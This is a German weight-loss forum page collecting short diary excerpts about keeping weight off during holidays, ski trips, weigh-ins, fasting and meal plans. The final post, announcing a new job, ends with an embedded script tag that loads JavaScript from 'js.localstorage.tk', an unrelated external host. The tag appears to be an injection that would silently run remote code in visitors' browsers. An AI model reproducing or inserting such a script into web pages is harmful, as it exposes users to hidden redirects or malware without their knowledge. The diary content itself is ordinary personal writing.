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Beiträge zum Thema Abnehmen im Urlaub

Immer wieder beschäftigt Abnehmwillige zur Urlaubssaison die Frage, wie sie auch im Urlaub abnehmen oder zumindest das Gewicht halten können. Vor dem Urlaub werden einige Anstrengungen unternommen, wieder in den Bikini zu passen und im Urlaub eine gute Figur am Strand zu machen - das möchte man nicht unbedingt gleich wieder aufs Spiel setzen. Keine Frage - das Thema "abnehmen und Urlaub" ist auch bei der Diät-Clique ein wichtiges.

Tag 263 - Wiegetag

Hab mich heute um 5:30 nach dem Aufstehen gewogen und exakt 65,0 Kilo gehabt. Sehr gut So darf es gerne bleiben   1 Monat Gewicht halten liegt damit hinter mir und ich bin sehr zufrieden damit. Ich hab für meine Begriffe ganz normal gegessen, war mehrmals im Restaurant essen und habe mir viel...

Tag 257 - 259 - wieder dabei :)

Soo, bin wieder zu Hause angekommen Urlaub war richtig schön und ich fühl mich entspannt Hatte gestern Abend sogar noch genug Energie, die komplette Urlaubswäsche durchzuwaschen und aufzuhängen So hab ich die Woche weniger Stress, da ich eh schon Vollzeit in der Uni sein werde   Ob ich was...

Auf ins Wochenende !

Das sonnige WE werden wir auf dem Motorrad verbringen und der Reiseproviant ist schon gepackt. Als gute Grundlage gibt es gleich nochmal einen Green-Smoothie mit Löwenzahn und Petersilie und für unterwegs habe ich eine Banane, eine Birne und einen Apfel eingepackt. Abends sind wir zu Hause und...

Tag 249-256 - toller Urlaub <3

Wir hatten eine sehr sehr schöne Zeit zu zweit in Hamburg. Das Musical hat uns gefallen und es gab auch sonst sehr viel zu sehen und zu unternehmen. Besonders schön fand ich die Wanderdünen etwas außerhalb des Stadtgebiets. Das Essen bei Tim Mälzer war ein Traum und ansonsten gab es ganz viel...

Frohe Ostern euch Allen !

Allen hier wünsche ich frohe Ostern... und guten Appetit beim Ostermenue, ohne Reue und zusätzliche Pfunde Bei mir gibts viele leckere Sachen doch ich habe mir vorgenommen, täglich zum Frühschwimmen zu gehen Auf gutes Gelingen !

Tag 248 - schöne Ostern für euch :)

Ich verabschiede mich dann mal in den Urlaub Euch schöne Osterfeiertage. Vllt. schaue ich zwischendrin mal rein, aber eigentlich bin ich erst ab 9. April wieder zu Hause.  Ich freu mich wahnsinnig auf die Zeit zu zweit und bin gespannt, was wir alles entdecken werden. Meine Wasge zeigt heute 64...

Tag 247 - wieder fit :)

Nach 2 recht ruhigen Tagen will ich mich heute mal wieder sportlich betätigen. Wahrscheinlich gibts ein kleines Bauchmuskelworkout und die Kugelhantel schielt mich schon an.  Aber erstmal muss ich jetzt zum Arzt. Und dann warte ich noch auf die Post mit verschiedenen Oster- und...

Tag 246 - müde :)

Ich hab noch ein bisschen mit der Zeitumstellung zu kämpfen, da wir am Wochenende auch ziemlich wenig Schlaf bekommen haben. Da macht sich eine Stunde weniger noch stärker bemerkbar. Hat sich hoffentlich bald alles wieder eingependelt. Ich lasse es aber heute ganz entspannt angehen. Hab noch ein...

Tag 245 - Shopping Queen :)

Samstag war ich mit meinem Freund shoppen. Sehr erfolgreich. Hab mir ein komplettes neues Outfit zu meinem grünen Trenchcoat zusammengestellt.  Ne enge schwarze Jeans, schwarze Schuhe, ne lilane Handtasche, ein grünes Langarmshirt (selbe Marke und Farbton wie der Trenchcoat) und ein schönes...

Tag 223 - 233 - viel Arbeit und noch krank.

Mein Tagebuch hier Pflege ich momentan leider nicht so besonders gut Das liegt einfach daran, dass ich gerade viel zu tun hab. Da fehlt für längere Einträge die Zeit. Dazu kommt, dass ich nach 2 Wochen immer noch meine Erkältung nicht loswerde. Das nervt ziemlich. Mit Schwimmbad oder generell...

weil ich das dann alles wieder kann

1. ich werde ohne Rückenschmerzen längere Strecken gehen können und ohne völlig außer Atem zu sein in den sechsten Stock steigen (höher wohnt niemand ohne Fahrstuhl, ein Dank der deutschen Baugesetzgebung) 2. ich werde wieder (halbwegs) schlanke Füße haben und in alle Schuhe passen 3. ich werde mit...

Tage 198-200 - Mittwoch gehts los :)

Mittwoch beginnt mein Fastenprojekt. Bin schon ganz gespannt, wie ich das hinbekomme Fleisch stand bisher schon 3-4 Mal die Woche auf meinem Speiseplan. Besonders Fisch wird mir fehlen. Aber es gibt ja genügend andere Lebensmittel, die mindestens genauso gut schmecken Heute Abend machen wir...

Wie viel Sport ist gesund?

Aktueller Stand bei mir ist: Ich bin auf 5x die Woche Sport hoch und die Ernährung stimmt auch soweit. Mein Gewicht geht wie gewünscht langsam hoch und der KFA geht runter. Nächsten Monat habe ich eine Woche Urlaub, welche ich in einem Bootcamp sinnvoll nutzen möchte. Bis zu diesem Zeitpunkt will...

alles auf Anfang

Nachdem ich 2016 erfolgreich einige Kilos abgenommen habe und mir endlich wieder meine Sachen gepasst haben, habe ich es dann nach dem Urlaub im Oktober wieder versaut und die Kurve hat sich wieder den Aufwärtstrend hingegeben. Was ja als solches nicht wirklich falsch ist, aber wenn wir hier von...

Tag 166 - wieder reinkommen :)

So, ab heute gehts wieder richtig los. Wäre doch gelacht, wenn die letzten 5 Kilo nicht auch noch schmelzen würden. Ich bin nach dem Urlaub wieder richtig motiviert, was Sport und Ernährung angeht Das ist mein offizieller Startschuss für 2018.  Morgen: Haferbrei mit Sauerkirschen  Mittag: 1...

alles auf Anfang

Nachdem ich 2016 erfolgreich einige Kilos abgenommen habe und mir endlich wieder meine Sachen gepasst haben, habe ich es dann nach dem Urlaub im Oktober wieder versaut und die Kurve hat sich wieder den Aufwärtstrend hingegeben. Was ja als solches nicht wirklich falsch ist, aber wenn wir hier von...

Tage 156 - 161 - Skifahren, ich liebe es :)

Hatten 4 sehr schöne und erlebnisreiche Tage in Kitzbühel. Tag 1 bestand aus Rodeln mit dem Bob auf einer richtig tollen Rodelpiste am Wilden Kaiser. Das ist anstrengender, als ihr vielleicht denkt   Dann waren wir 2 Tage am Hahnenkamm Skifahren. Das waren meine ersten Skifahrversuche. Ging...

Donnerstag der 28. Dezember

Frühstück 2 Vollkorntoasts - einer mit Käse, einer mit Magarine und Salz, eine Schüssel Vollkornmüsli ohne Zucker Mittags 4 Vollkorntoasts mit Hühnerbrust Abends 2 Schalen Suppe, ein Apfel Snack 3 handvoll Pistazien die anderen Tage diese Woche sahen ähnlich bis gleich aus - mir fehlt die...

Tag 149 - 155 - ab in den Winterurlaub :)

Ich verabschiede mich dann mal bis zum 7. Januar in den Skiurlaub. Ich hoffe, ihr habt die Feiertage alle gut überstanden und kommt gut ins neue Jahr   Für mich beginnt dann die letzte Abnehmetappe zum Wunschgewicht von 65 Kilo - bin voll motiviert nach dem Urlaub wieder richtig durchzustarten...

Ja is denn heut scho Weihnachten?

Hab grad einen Anruf erhalten....ich hab einen neuen Job!!!!! Das beste Weihnachtsgeschenk, das ich mir wünschen konnte! ​ <script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

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